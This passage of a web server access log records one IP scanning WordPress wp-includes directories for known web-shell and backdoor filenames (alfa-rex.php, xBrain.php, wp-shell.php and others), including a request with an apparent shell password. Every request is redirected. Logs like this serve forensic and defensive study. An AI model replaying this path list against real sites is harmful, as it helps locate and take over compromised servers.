[29/Apr/2025:00:26:27 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:28 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:28 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:29 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:30 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:30 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:31 -0400] "GET /wp-includes/css/about.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:31 -0400] "GET /wp-includes/css/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:32 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:32 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:33 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:33 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:34 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:34 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:35 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:36 -0400] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:36 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:37 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:37 -0400] "GET /wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:38 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:38 -0400] "GET /wp-includes/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:39 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:39 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:40 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:40 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:41 -0400] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:42 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:42 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:43 -0400] "GET /wp-includes/customize/mariju.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:44 -0400] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:44 -0400] "GET /wp-includes/customize/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:45 -0400] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:45 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:46 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:46 -0400] "GET /wp-includes/fonts//links.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:47 -0400] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:47 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:48 -0400] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:49 -0400] "GET /wp-includes/fonts/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:49 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:50 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:50 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:51 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:51 -0400] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:52 -0400] "GET /wp-includes/html-api/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:52 -0400] "GET /wp-includes/html-api/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:53 -0400] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:54 -0400] "GET /wp-includes/iUN3FwyCaZR.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:54 -0400] "GET /wp-includes/iWoGYaunXNz.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:55 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:55 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:56 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:56 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:57 -0400] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:57 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:58 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:59 -0400] "GET /wp-includes/images/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:26:59 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:00 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:00 -0400] "GET /wp-includes/images/media/ben.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:01 -0400] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:01 -0400] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:02 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:02 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:03 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:03 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:04 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:04 -0400] "GET /wp-includes/images/wlw/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:05 -0400] "GET /wp-includes/images/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:05 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:06 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:07 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:07 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:08 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:08 -0400] "GET /wp-includes/js//text.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:09 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:09 -0400] "GET /wp-includes/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:10 -0400] "GET /wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:10 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:11 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:12 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:12 -0400] "GET /wp-includes/js/codemirror/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:13 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:13 -0400] "GET /wp-includes/js/crop/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:14 -0400] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:14 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:15 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:15 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:16 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:16 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:17 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:17 -0400] "GET /wp-includes/js/tinymce/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:18 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:19 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:19 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:20 -0400] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:20 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:21 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:21 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:22 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:23 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:23 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:24 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:24 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:25 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:25 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:26 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:27 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:27 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:28 -0400] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:28 -0400] "GET /wp-includes/js/x2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:29 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:29 -0400] "GET /wp-includes/mah.php?pass=888xyz999 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:30 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:30 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:31 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:32 -0400] "GET /wp-includes/php-compat//chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:32 -0400] "GET /wp-includes/php-compat/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:33 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:33 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:34 -0400] "GET /wp-includes/pomo/about.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:34 -0400] "GET /wp-includes/pomo/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:35 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:36 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:36 -0400] "GET /wp-includes/pomo/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:37 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:37 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:38 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:39 -0400] "GET /wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:39 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:40 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:40 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:41 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:41 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:42 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:43 -0400] "GET /wp-includes/rest-api//class-wp-rest-core.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:43 -0400] "GET /wp-includes/rest-api//ot_shipping.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:44 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:44 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:45 -0400] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:45 -0400] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:46 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:46 -0400] "GET /wp-includes/rest-api/endpoints/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:47 -0400] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:48 -0400] "GET /wp-includes/rest-api/endpoints/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:48 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:49 -0400] "GET /wp-includes/rest-api/fields/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:49 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:50 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:51 -0400] "GET /wp-includes/rest-api/search/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:51 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:52 -0400] "GET /wp-includes/sitemaps//wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:52 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:53 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:53 -0400] "GET /wp-includes/sitemaps/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:54 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:54 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:55 -0400] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:55 -0400] "GET /wp-includes/sitemaps/providers/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:56 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:56 -0400] "GET /wp-includes/sodium_compat/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:57 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:58 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:58 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:59 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:27:59 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:00 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:00 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:01 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge//Core32.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:02 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:02 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:03 -0400] "GET /wp-includes/sodium_compat/src/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:03 -0400] "GET /wp-includes/sodium_compat/src/content.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:04 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:05 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:05 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:06 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:06 -0400] "GET /wp-includes/style-engine/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:07 -0400] "GET /wp-includes/style-engine/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:07 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:08 -0400] "GET /wp-includes/style-engine/content.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:08 -0400] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:09 -0400] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:10 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:10 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:11 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:11 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:12 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:13 -0400] "GET /wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:13 -0400] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:14 -0400] "GET /wp-includes/theme-compat/x2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:14 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:15 -0400] "GET /wp-includes/upload.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:15 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:16 -0400] "GET /wp-includes/widgets//class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:16 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:17 -0400] "GET /wp-includes/widgets/about.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:17 -0400] "GET /wp-includes/widgets/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:18 -0400] "GET /wp-includes/widgets/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:19 -0400] "GET /wp-includes/wjacfltdmPx.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:19 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:20 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:20 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:21 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:21 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wplivechat/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:22 -0400] "GET /wp-includes/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:23 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:23 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:24 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:28:24 -0400] "GET /wp-includes/wp-shell.php HTTP/1.1" 301 